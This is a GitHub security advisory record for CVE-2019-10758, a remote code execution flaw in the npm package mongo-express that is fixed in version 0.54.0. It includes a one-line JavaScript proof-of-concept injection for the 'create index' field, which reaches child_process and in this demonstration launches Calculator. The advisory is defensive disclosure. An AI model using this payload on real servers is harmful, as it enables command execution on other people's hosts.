ghsa-h47j-hc6x-h3qq
Vulnerability from github
Published
2019-12-30 19:30
Modified
2025-02-07 18:01
Severity ?
Summary
Remote Code Execution Vulnerability in NPM mongo-express
Details
Impact
Remote code execution on the host machine by any authenticated user.
Proof Of Concept
Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator:
javascript
this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')
Patches
Users should upgrade to version 0.54.0
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
References
For more information
If you have any questions or comments about this advisory: * Open an issue in example link to repo * Email us at example email address
Thanks
@JLLeitschuh for finding and reporting this vulnerability
{ "affected": [ { "package": { "ecosystem": "npm", "name": "mongo-express" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "0.54.0" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2019-10758" ], "database_specific": { "cwe_ids": [ "CWE-78", "CWE-94" ], "github_reviewed": true, "github_reviewed_at": "2019-12-30T19:29:02Z", "nvd_published_at": "2019-12-24T22:15:11Z", "severity": "CRITICAL" }, "details": "### Impact\n\nRemote code execution on the host machine by any authenticated user.\n\n### Proof Of Concept\n\nLaunching mongo-express on a Mac, pasting the following into the \"create index\" field will pop open the Mac calculator:\n\n```javascript\nthis.constructor.constructor(\"return process\")().mainModule.require(\u0027child_process\u0027).execSync(\u0027/Applications/Calculator.app/Contents/MacOS/Calculator\u0027)\n```\n\n### Patches\nUsers should upgrade to version `0.54.0`\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### References\n[Snyk Security Advisory](https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215)\n[CVE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10758)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)\n\n#### Thanks\n\n@JLLeitschuh for finding and reporting this vulnerability", "id": "GHSA-h47j-hc6x-h3qq", "modified": "2025-02-07T18:01:54Z", "published": "2019-12-30T19:30:31Z", "references": [ { "type": "WEB", "url": "https://github.com/mongo-express/mongo-express/security/advisories/GHSA-h47j-hc6x-h3qq" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10758" }, { "type": "WEB", "url": "https://github.com/mongo-express/mongo-express/pull/522" }, { "type": "WEB", "url": "https://github.com/mongo-express/mongo-express/commit/7d365141deadbd38fa961cd835ce68eab5731494" }, { "type": "WEB", "url": "https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "type": "CVSS_V3" } ], "summary": "Remote Code Execution Vulnerability in NPM mongo-express" }
Loading…
Loading…
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.